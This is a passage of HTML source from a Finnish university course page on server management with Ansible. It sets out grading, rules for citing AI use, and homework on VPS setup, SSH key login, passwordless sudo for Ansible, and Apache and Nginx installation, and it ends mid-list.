&lt;p&gt;&lt;a href=&quot;https://docs.ansible.com/projects/ansible/latest/&quot;&gt;Ansible Community Documentation&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Salo ym 2026: &lt;a href=&quot;https://github.com/tommi-vsalo/BlueTeamLab&quot;&gt;BlueTeamLab&lt;/a&gt;. Käynnissä olevassa projektissa rakennetaan SOC-harjoitusympäristöä. Linux, Windows, AD. OpenTofu, Ansible. VirtualBoxia ohjataan OpenTofulla.&lt;/p&gt;
&lt;h2 id=&quot;arviointi&quot;&gt;Arviointi &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/palvelinten-hallinta/#arviointi&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/palvelinten-hallinta/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Osien ohjeelliset painoarvot ovat: kotitehtävät 70% ja oma moduli 30%. Arvosana perustuu kokonaisarvioon suorituksista. Kaikki kotitehtävät pitää tehdä ajallaan. Etäopetukseen pitää osallistua aktiivisesti.&lt;/p&gt;
&lt;h2 id=&quot;vanhoja-toteutuksia&quot;&gt;Vanhoja toteutuksia &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/palvelinten-hallinta/#vanhoja-toteutuksia&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/palvelinten-hallinta/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://terokarvinen.com/2025/palvelinten-hallinta--ici001as3a-3008--2025&quot;&gt;Palvelinten hallinta ICI001AS3A-3008 - 2025p2 loppusyksy&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://terokarvinen.com/2024/palvelinten-hallinta-2024p2/&quot;&gt;Palvelinten hallinta ICI001AS3A-3010 - 2024 periodi 2, loppusyksy&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://terokarvinen.com/search/?q=palvelinten+hallinta&quot;&gt;Vanhoja toteutuksia vuoteen 2018 asti&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&quot;laksyt&quot;&gt;Läksyt &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/palvelinten-hallinta/#laksyt&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/palvelinten-hallinta/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Palautus 24 h ennen seuraavaa lukujärjestykseen merkittyä aikaa. Weppisivulle (HTML), ja palauta linkki Laksuun. Halutessasi voit laittaa linkin myös kommentiksi tämän sivun perään, niin sivusi saa lisää kävijöitä ja nousee PageRankissa.&lt;/p&gt;
&lt;p&gt;Nämä läksyt ovat alustavia. Läksyt ovat virallisia vasta, kun ne on annettu tunnilla. Tämä on edistynyt kurssi, joten pystymme tekemään muutoksia kurssin kuluessa ja sovittamaan läksyt aiheen mukaan. Jos et uskalla tai muuten halua julkaista, voit laittaa weppisivun salasanan taakse (sama salasana koko kurssille ja jokaiselle tehtävälle, ei kirjautumista eri tunnuksilla eri henkilöille) ja jakaa salasanan kurssilaisten kanssa - mutta suosittelen julkaisua. Kotisivutilaa saa esim wordpress.com, github.com, gitlab.com ja monista muista paikoista.&lt;/p&gt;
&lt;p&gt;Suosittu ja helppo tapa on &lt;a href=&quot;https://terokarvinen.com/2023/create-a-web-page-using-github/&quot;&gt;laittaa raportit Githubiin&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Kaikki käytetyt lähteet tulee merkitä raporttiin: kurssin tehtäväsivu, kurssikavereiden raportit, man-sivut, kirjat. Mikäli tekoälyltä kysyy neuvoa, se on merkittävä lähteeksi. Tekoälyt hallusinoivat, tiedot on suositeltavaa tarkistaa. Tiivistelmiä tai esseitä ei saa generoida tekoälyllä eikä muilla vastaavilla tekniikoilla, vaan ne on kirjoitettava itse.&lt;/p&gt;
&lt;p&gt;Kaikkien ajan säästämiseksi poistan kurssilta ne, jotka eivät palauta tehtäviä ajallaan.&lt;/p&gt;
&lt;p&gt;Tekoälyn käyttö: Tällä kurssilla on samat AI säännöt kuin YAMK:n kurssillani: &quot;AI and large language models (LLM): You can ask AI or LLM a question and use the answer as facts for your own answer, written in your own words. AI must be marked as a reference, with details such as prompt (and for advanced users system prompts, temperature, jailbreaks...). LLMs tend to hallucinate, so you should check answers from more reliable sources. It&#39;s not allowed to generate text with AI or similar technologies. For example, it&#39;s not allowed to generate essay answers or summaries with AI, LLM or similar technologies.&quot;&lt;/p&gt;
&lt;h3 id=&quot;h0-oikeasti-netissa&quot;&gt;h0 Oikeasti netissä &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/palvelinten-hallinta/#h0-oikeasti-netissa&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/palvelinten-hallinta/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Kuten toivoitte, tämä ensimmäinen tehtävä kertaa edeltävyytenä olevan Linux palvelimet -kurssin aiheita&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Suosittelen kokeilemaan oikeaa, julkista virtuaalipalvelinta. Palvelinten kun tulee töissä pystyä palvelemaan asiakkaita, ja tämä yleensä edelyttää, että palvelimelle pääsee Internetistä.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Jos et halua vuokrata virtuaalipalvelinta ja domain-nimeä, voit tehdä vaihtoehtotehtävän, jossa käytetään vain maksuttomia ohjelmia paikallisesti. Se korvaa tämän harjoituksen kaikki kohdat, joissa vuokrataan tai ostetaan mitään.&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;x) Lue ja tiivistä. (Tässä x-alakohdassa ei tarvitse tehdä testejä tietokoneella, vain lukeminen tai kuunteleminen ja tiivistelmä riittää. Tiivistämiseen riittää muutama ranskalainen viiva. Ei siis vaadita pitkää eikä essee-muotoista tiivistelmää. Lisää kuhunkin jokin oma kysymys tai huomio. Paljon komentoja sisältävistä dokumenteista kannattaa nostaa mukaan keskeiset komennot ja valinnat. Sisältöä, ei vain metatekstiä tai kuvailua.)
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/AONCODES/linux-course/blob/main/h4.md&quot;&gt;Niemi 2025: H4 Tehtävät&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://partanennn.github.io/linux-servers/practices/fifth-week.html&quot;&gt;Partanen 2025: Harjoitus 5: Nimekäs: a) Nimi&lt;/a&gt; (Vain a-kohta.)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;a) Paikallista. Asenna Debian 13 paikallisesti virtuaalikoneeseen. Voit käyttää esimerkiksi VirtualBoxia. (Tätä käytetään myös tuntiharjoituksiin.)&lt;/li&gt;
&lt;li&gt;Joko (suositeltu tehtäväsetti: x, a-e):
&lt;ul&gt;
&lt;li&gt;b) VPS. Vuokraa virtuaalinen yksityispalvelin.&lt;/li&gt;
&lt;li&gt;c) Alkutoimet. Tee virtuaalipalvelimellesi sudo-käyttäjä omalla nimellä (ei root). Asenna tulimuuri - ensin reikä ssh:lle. Päivitä kaikki ohjelmat ja boottaa tarvittaessa.&lt;/li&gt;
&lt;li&gt;d) Weppipalvelin. Asenna koneellesi weppipalvelin, kuten Apache tai Nginx.&lt;/li&gt;
&lt;li&gt;e) Vapaaehtoinen: Nimi. Aseta domain-nimi osoittamaan palvelimesi IP-osoitteeseen. (Tämä tehtävä saattaa myöhemmin tulla varsinaiseksi tehtäväksi)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Tai vaihtoehtotehtävät (x, a, f):
&lt;ul&gt;
&lt;li&gt;f) Vaihtoehtotehtävä, korvaa kaikki kohdat, jossa vuokrataan mitään (b-d): Jos et halua vuokrata VPS ja nimeä, voit tehdä alkutoimet ja asentaa weppipalvelimen paikalliseen virtuaalikoneeseen. Nimipalvelua voit simuloida /etc/hosts -tiedoston avulla.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Vinkit&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Raportti
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://terokarvinen.com/palvelinten-hallinta/#laksyt&quot;&gt;Läksyt&lt;/a&gt;, ohjeet tältä kurssilta&lt;/li&gt;
&lt;li&gt;Karvinen 2006: &lt;a href=&quot;https://terokarvinen.com/raportin_kirjoittaminen.html&quot;&gt;Raportin kirjoittaminen&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Karvinen 2023: &lt;a href=&quot;https://terokarvinen.com/2023/create-a-web-page-using-github/&quot;&gt;Create a Web Page Using Github&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Kuten aina, palauta linkki &lt;a href=&quot;https://app.terokarvinen.com&quot;&gt;Laksuun&lt;/a&gt;, ristiinarvioi vähintään 2. Deadline 24 h ennen oppitunnin alkua.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Linuxin asennus virtuaalikoneeseen
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/punnalathomas/linux-course/blob/main/h1-installing-linux.md&quot;&gt;Punnala 2025: Tietokone ja käyttöjärjestelmä&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Palvelin
&lt;ul&gt;
&lt;li&gt;Yksinkertaisia VPS-vuokraajia ovat esimerkiksi Linode, DigitalOcean ja UpCloud. Monia muitakin löytyy.&lt;/li&gt;
&lt;li&gt;UpCloud on suomalainen, ja UpCloudin halvin 1 GB RAM kone on 3 EUR/kk. Linode on nykyisin suuren toimijan Akamain osa. DigitalOcean oli jossain vaiheessa suosittu kurssilla.&lt;/li&gt;
&lt;li&gt;Monilla palveluntarjoajilla on ilmainen kokeilujakso. Sekin edellyttää usein pankkikortin tietoja. Luotollista korttia ei enää nykyisin juuri tarvita. Github-education paketissa on myös usein ollut ilmainen kokeilujakso virtuaalipalvelimesta.&lt;/li&gt;
&lt;li&gt;Ei mutkikasta ostosta. En suosittele käyttämään tässä harjoituksessa tarjoajia, joiden ensisijainen tuote on monimutkainen ja skaalautuva pilvituote. Tällaisia ovat Amazon, Azure, Google Cloud Platform. Niiden hinnoittelu on vähemmän läpinäkyvää ja vaikeammin hallittavaa.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Domain-nimi
&lt;ul&gt;
&lt;li&gt;NameCheap on suosittu nimipalvelun vuokraaja. PorkBun on nouseva nimi, en ole kokeillut. Monia muitakin löytyy.&lt;/li&gt;
&lt;li&gt;Jos vuokraat nimen vain testikäyttöön, sellainen euron per vuosi tai ilmainen kokeilu on hyvä, kunhan et laita sitä uusimaan automaattisesti. Noissa euron nimissä seuraava vuosi on yleensä kallis, tyyliin 60 EUR/vuosi.&lt;/li&gt;
&lt;li&gt;Kunnollinen .com-nimi maksaa 10-15 EUR/vuosi. Sellaista ei tarvita harjoittelua varten, mutta tuotannossa parempi kuin .höpö nimet. Pelkkä oma sukunimi.com on hyvä osoite, jos sattuu olemaan vapaana.&lt;/li&gt;
&lt;li&gt;Github-education -paketissa on usein ollut ilmainen nimi testikäyttöön.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Github-Education paketista voi saada monia ilmaisia palveluita. Edellyttää, että olet ensin lisännyt Haaga-Helian sähköpostiosoitteen Github-tiliin ja vahvistanut sen.&lt;/li&gt;
&lt;li&gt;Eikö toimi? Raportoi erityisen tarkasti, jotta voimme pähkiä sitä tunnilla yhdessä. Myös tarkat virheilmoitukset talteen. Tee ja raportoi tarkasti kaikki mitä osaat. Katsotaan tunnilla yhdessä loput.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;h1-hei-ansiblen-maailma&quot;&gt;h1 Hei Ansiblen maailma &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/palvelinten-hallinta/#h1-hei-ansiblen-maailma&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/palvelinten-hallinta/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Hei maailma! Yleensä kaikki ohjelmat alkavat siitä. Hei maailma testaa, että ympäristö toimii.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Tässä kotitehtävässä harjoitellaan itse tunnilla kurkattuja ja osin kokeiltuja juttuja, jotta tehtävistä ei tule liian vaikeita. Jos olet aiemmin tehnyt nämä, voit simuloida puhtaan tilanteen - näin tehdään myöhemmin myös IaC-koodeja testatessa. Voit esimerkiksi pysäyttää ja poistaa ssh-demonin, poistaa authorized_keys... Tai ottaa tyhjän virtuaalikoneen.&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;x) Lue ja tiivistä. (Tässä x-alakohdassa ei tarvitse tehdä testejä tietokoneella, vain lukeminen tai kuunteleminen ja tiivistelmä riittää. Tiivistämiseen riittää muutama ranskalainen viiva. Ei siis vaadita pitkää eikä essee-muotoista tiivistelmää. Lisää kuhunkin jokin oma kysymys tai huomio. Paljon komentoja sisältävistä dokumenteista kannattaa nostaa mukaan keskeiset komennot ja selittää ne.)
&lt;ul&gt;
&lt;li&gt;Karvinen 2026: &lt;a href=&quot;https://terokarvinen.com/ssh-public-key-login-without-password/&quot;&gt;SSH public key - Login without password&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Karvinen 2026: &lt;a href=&quot;https://terokarvinen.com/hello-ansible/&quot;&gt;Hello Ansible&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;a) Paikallista. Asenna Debian 13 paikallisesti virtuaalikoneeseen. Voit käyttää esimerkiksi VirtualBoxia. (Tätä käytetään myös tuntiharjoituksiin. Jos raportoit tämän jo h0 yhteydessä, pelkkä linkki raporttiin riittää. Suppea raportointi tässä alakohdassa: mikäli ongelmia ei tullut, pelkkä luettelo tehdyistä valinnoista riittää. Jos ongelmia, yksityiskohtainen, toistettava raportti.)&lt;/li&gt;
&lt;li&gt;b) Sshecrets. Asenna SSH-demoni käsin ja testaa se kirjautumalla SSH:lla. (localhost kelpaa)&lt;/li&gt;
&lt;li&gt;c) Pubkey. Automatisoi ssh-kirjautuminen julkisella avaimella. (localhost kelpaa)&lt;/li&gt;
&lt;li&gt;d) Hei Ansible. Tee hei maailma ansiblella ja kokeile sitä SSH:n yli. (localhost kelpaa)&lt;/li&gt;
&lt;li&gt;e) Vapaaehtoinen bonus: kokeile Ansiblella jokin näista asetuksista: paketin asennus, asetustiedosto /etc/ alle, käynnistä jokin demoni, tee uusi käyttäjä. Tarvitset todennäköisesti sudoa, become: true.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Kuten aina, palauta linkki &lt;a href=&quot;https://app.terokarvinen.com&quot;&gt;Laksuun&lt;/a&gt;, ristiinarvioi vähintään 2. Deadline 24 h ennen oppitunnin alkua.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Vinkit&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Raportti
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://terokarvinen.com/palvelinten-hallinta/#laksyt&quot;&gt;Läksyt&lt;/a&gt;, ohjeet tältä kurssilta&lt;/li&gt;
&lt;li&gt;Karvinen 2006: &lt;a href=&quot;https://terokarvinen.com/raportin_kirjoittaminen.html&quot;&gt;Raportin kirjoittaminen&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Karvinen 2023: &lt;a href=&quot;https://terokarvinen.com/2023/create-a-web-page-using-github/&quot;&gt;Create a Web Page Using Github&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Linuxin asennus virtuaalikoneeseen
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/punnalathomas/linux-course/blob/main/h1-installing-linux.md&quot;&gt;Punnala 2025: Tietokone ja käyttöjärjestelmä&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Testaamatta == tekemättä. Kun asennat tai säädät jotain, osoita testillä, että se toimii.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://terokarvinen.com/passwordless-sudo-with-ansible/&quot;&gt;Karvinen 2026: Passwordless Sudo with Ansible&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Eikö toimi? Raportoi erityisen tarkasti, jotta voimme pähkiä sitä tunnilla yhdessä. Myös tarkat virheilmoitukset talteen.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;h2-voileipa&quot;&gt;h2 Voileipä &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/palvelinten-hallinta/#h2-voileipa&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/palvelinten-hallinta/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;figure class=&quot;right&quot; style=&quot;max-width: 179px&quot;&gt;
&lt;picture&gt;
&lt;source type=&quot;image/avif&quot; srcset=&quot;https://terokarvinen.com/palvelinten-hallinta/sudo-logo.w480.h64430d4b.avif 480w, https://terokarvinen.com/palvelinten-hallinta/sudo-logo.w800.h64430d4b.avif 800w, https://terokarvinen.com/palvelinten-hallinta/sudo-logo.w1200.h64430d4b.avif 1200w, https://terokarvinen.com/palvelinten-hallinta/sudo-logo.w1370.h64430d4b.avif 1370w&quot; sizes=&quot;(max-width: 179px) 100vw, 179px&quot;&gt;
&lt;img src=&quot;https://terokarvinen.com/palvelinten-hallinta/sudo-logo.w800.h64430d4b.png&quot; srcset=&quot;https://terokarvinen.com/palvelinten-hallinta/sudo-logo.w800.h64430d4b.png 800w, https://terokarvinen.com/palvelinten-hallinta/sudo-logo.w1370.h64430d4b.png 1370w&quot; sizes=&quot;(max-width: 179px) 100vw, 179px&quot; width=&quot;800&quot; height=&quot;893&quot; alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;
&lt;/picture&gt;
&lt;/figure&gt;

&lt;ul&gt;
&lt;li&gt;x) Lue ja tiivistä. (Tässä x-alakohdassa ei tarvitse tehdä testejä tietokoneella, vain lukeminen tai kuunteleminen ja tiivistelmä riittää. Tiivistämiseen riittää muutama ranskalainen viiva. Ei siis vaadita pitkää eikä essee-muotoista tiivistelmää. Lisää kuhunkin jokin oma kysymys tai huomio.)
&lt;ul&gt;
&lt;li&gt;Karvinen 2026: &lt;a href=&quot;https://terokarvinen.com/passwordless-sudo/&quot;&gt;Sudo without password&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Munroe 2006: &lt;a href=&quot;https://xkcd.com/149/&quot;&gt;xkcd 149: Sandwitch&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Karvinen 2026: &lt;a href=&quot;https://terokarvinen.com/passwordless-sudo-with-ansible/&quot;&gt;Passwordless Sudo with Ansible &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Ansiblen sisäänrakennettu dokumentaatio ansible-doc -kommennolla.
&lt;ul&gt;
&lt;li&gt;Kustakin vain
&lt;ul&gt;
&lt;li&gt;Johdantokappale (Usein MODULE alla, päättyy OPTIONS alkuun)&lt;/li&gt;
&lt;li&gt;Nimetyt optiot selityksineen&lt;/li&gt;
&lt;li&gt;Esimerkeistä (EXAMPLES) jokin helppo ja keskeinen esimerkki&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&#39;ansible-doc copy&#39;: content, dest, src; owner, group, mode;&lt;/li&gt;
&lt;li&gt;&#39;ansible-doc apt&#39;: name, state, update_cache.&lt;/li&gt;
&lt;li&gt;&#39;ansible-doc file&#39;: path, recurse, src, state. owner, group, mode;&lt;/li&gt;
&lt;li&gt;&#39;ansible-doc user&#39;: name; create_home, comment, groups, shell, state, system.&lt;/li&gt;
&lt;li&gt;&#39;ansible-doc authorized_key&#39;: user, key.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;a) Sudoless. Tee ansiblea varten tunnus, jolla voi käyttää sudoa ilman salasanaa. Sekä ssh-kirjautuminen että sudon käyttö tulee olla ansbilea varten automatisoitu.&lt;/li&gt;
&lt;li&gt;b) Antero. Tee salasanaton, automaattisesti ssh:lla kirjautuva tunnus Ansiblella.&lt;/li&gt;
&lt;li&gt;c) Package. Asenna kaksi pakettia ansiblella.&lt;/li&gt;
&lt;li&gt;d) File. Kirjoita orjalle useamman rivin mittainen tiedosto Ansiblella. Määrittele sen omistaja, omistava ryhmä ja oikeudet. Käytä oikeuksille oktaalinumeroa, esim. &quot;0600&quot;. Kerro, mitä oikeudet ovat symbolisessa muodossa, esim. &quot;-rwxr--r--&quot;. Selitä, mitä kukin käyttäjä saa tehdä tuolle tiedostolle.&lt;/li&gt;
&lt;li&gt;e) Jotain muuta. Näytä esimerkki ansiblen käskystä, jota ei ole vielä käsitelty kurssilla tai kotitehtävissä. Voit ottaa jonkun muun modulin kuin apt, file, copy, user tai authorized_key. Tai voit käyttää ominaisuutta, jota ei vielä ole demonstroitu. Jos tiivistystehtävässä x on mainittu ominaisuuksia, joita ei tunneilla tai läksyissä kokeiltu, nekin kelpaavat.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Vinkit&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Rakenna tila paloittain. Tottakai se toimii kopioimalla malli ja muuttamalla muutama muuttuja. Mutta hetken päästä näitä pitäisi rakentaa myös ilman mallia.&lt;/li&gt;
&lt;li&gt;&#39;ansible-doc user&#39;, &#39;ansible-doc --list&#39;&lt;/li&gt;
&lt;li&gt;Etkö jaksa odottaa?
&lt;ul&gt;
&lt;li&gt;&#39;ansible-doc --list &amp;gt; doc-list.txt&#39;&lt;/li&gt;
&lt;li&gt;helppolukuisempana &#39;ansible-doc --list|grep -oP &#39;^\S+&#39;&amp;gt;doc-list.txt&#39;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Paketin asennus: apt&lt;/li&gt;
&lt;li&gt;File:
&lt;ul&gt;
&lt;li&gt;copy: src: foo.txt -&amp;gt; roles/superd/files/foo.txt&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;h3-demoni&quot;&gt;h3 Demoni &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/palvelinten-hallinta/#h3-demoni&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/palvelinten-hallinta/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;figure class=&quot;right&quot; style=&quot;max-width: 154px&quot;&gt;
&lt;picture&gt;
&lt;source type=&quot;image/avif&quot; srcset=&quot;https://terokarvinen.com/palvelinten-hallinta/apache-httpd-logo.w480.h0486b2b3.avif 480w, https://terokarvinen.com/palvelinten-hallinta/apache-httpd-logo.w737.h0486b2b3.avif 737w&quot; sizes=&quot;(max-width: 154px) 100vw, 154px&quot;&gt;
&lt;img src=&quot;https://terokarvinen.com/palvelinten-hallinta/apache-httpd-logo.w737.h0486b2b3.png&quot; srcset=&quot;https://terokarvinen.com/palvelinten-hallinta/apache-httpd-logo.w737.h0486b2b3.png 737w&quot; sizes=&quot;(max-width: 154px) 100vw, 154px&quot; width=&quot;737&quot; height=&quot;1432&quot; alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;
&lt;/picture&gt;
&lt;/figure&gt;

&lt;p&gt;&lt;em&gt;Package, file, service&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;x) Lue ja tiivistä. (Tässä x-alakohdassa ei tarvitse tehdä testejä tietokoneella, vain lukeminen tai kuunteleminen ja tiivistelmä riittää. Tiivistämiseen riittää muutama ranskalainen viiva. Ei siis vaadita pitkää eikä essee-muotoista tiivistelmää. Lisää kuhunkin jokin oma kysymys tai huomio.)
&lt;ul&gt;
&lt;li&gt;Karvinen 2026: &lt;a href=&quot;https://terokarvinen.com/apache-ansible/&quot;&gt;Apache installed with Ansible - quick notes&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Ansible Community Documentation: &lt;a href=&quot;https://docs.ansible.com/projects/ansible/latest/playbook_guide/playbooks_handlers.html&quot;&gt;Handlers: running operations on change&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;Handlers: running operations on change (johdantokappale pääotsikon alta)&lt;/li&gt;
&lt;li&gt;Notifying handlers&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&#39;ansible-doc service&#39;:
&lt;ul&gt;
&lt;li&gt;johdantokappale (MODULE alta)&lt;/li&gt;
&lt;li&gt;enabled&lt;/li&gt;
&lt;li&gt;name&lt;/li&gt;
&lt;li&gt;state&lt;/li&gt;
&lt;li&gt;EXAMPLES&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;y) (Vain ryhmän -3015 pa5001 Pasila pakollinen tehtävä, online-ryhmälle 3017 vapaaehtoinen): Infra-uutiset. Etsi Hacker Newsista &lt;a href=&quot;https://news.ycombinator.com/&quot;&gt;news.ycombinator.com&lt;/a&gt; uutinen keskitetystä hallinnasta. Kerro lyhyesti artikkelin pääsisältö ja mielenkiintoisimmat huomiot siihen. Lyhyt vastaus ranskalaisina viivoina.&lt;/li&gt;
&lt;li&gt;a) Apassi. Asenna Apache 2 käsin. Weppisivun tulee näkyä palvelimen etusivulla. Sivun tulee olla tavallisen käyttäjän muokattavissa, ilman root- tai sudo-oikeuksia.&lt;/li&gt;
&lt;li&gt;b) Moottorix. Asenna Nginx käsin. Weppisivun tulee näkyä palvelimen etusivulla. Sivun tulee olla tavallisen käyttäjän muokattavissa, ilman root- tai sudo-oikeuksia. (Muista sammuttaa Apache ensin.)&lt;/li&gt;
&lt;li&gt;c) Automoottorix. Automatisoi Nginx asennus Ansiblella. Ylläpitäjän osuus Ansiblella riittää, itse HTML-weppisivut voi tehdä käsin.&lt;/li&gt;
&lt;li&gt;d) Vapaaehtoinen bonus: Osiris-T. Osiris-T asentaa Wazuhin ja tarvittavat virtuaalikoneet. Voit lähettää vihamielistä verkkoliikennettä (tcpreplay), siepata sen (suricata) ja saat tulokset suoraan dashboardille (wazuh). Enemmän alpha kuin se kreikkalainen kirjain. Mutta Oskari, Nico ja Arttu ilahtuvat, jos kokeilet. Häkämies, Saario, Mukkula 2026: &lt;a href=&quot;https://github.com/oskarihakamies/IDS-project&quot;&gt;Osiris-T&lt;/a&gt;. Häkämies etal 2026: &lt;a href=&quot;https://github.com/oskarihakamies/IDS-project/blob/main/How-To-Install.md&quot;&gt;How to Install&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;em&gt;Vinkit&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Hacker News
&lt;ul&gt;
&lt;li&gt;Samannimisiä sivuja on monta, se kuuluisa on &lt;a href=&quot;https://news.ycombinator.com/&quot;&gt;news.ycombinator.com&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Hakusanoina voit käyttää mitä vain teemasta: infra as code, idempotent, ansible, salt, puppet, configuration management... Valitse alle vuoden vanha artikkeli. Ota sellainen, josssa on kommentteja.&lt;/li&gt;
&lt;li&gt;Hacker Newsissa jokaisessa uutisessa on kaksi linkkiä: uutinen ja kommentit.&lt;/li&gt;
&lt;li&gt;Hakukenttä on etusivun pohjalla.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Ensin käsin, sitten automaattisesti&lt;/li&gt;
&lt;li&gt;Pienen testattava kokonaisuus kerrallaan&lt;/li&gt;
&lt;li&gt;Lue lokeja. Weppipalvelimen virheilmoitukset ovat lokeissa, käyttäjälle näkyvä weppisivu ei kerro juuri mitään.&lt;/li&gt;
&lt;li&gt;Kaksi demonia ei voi kuunnella samaa porttia. Sulje siis nginx ennen apachen asennusta ja päinvastoin.&lt;/li&gt;
&lt;li&gt;&#39;ansible-doc apt&#39;: name, state, update_cache. EXAMPLES.&lt;/li&gt;
&lt;li&gt;&#39;ansible-doc copy&#39;: dest, src; owner, group, mode. EXAMPLES.&lt;/li&gt;
&lt;li&gt;&#39;ansible-doc file&#39;: src, dest, state. owner, group. EXAMPLES.&lt;/li&gt;
&lt;li&gt;nginx asennus on samantapainen kuin Apachen
&lt;ul&gt;
&lt;li&gt;sites-available/default - tiedoston lopussa on esimerkki yksinkertaisesta konfiguraatiosta&lt;/li&gt;
&lt;li&gt;&#39;sudo nginx -t&#39; on samantapainen kuin &#39;sudo apache2ctl configtest&#39;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Kotisivut käyttäjänä
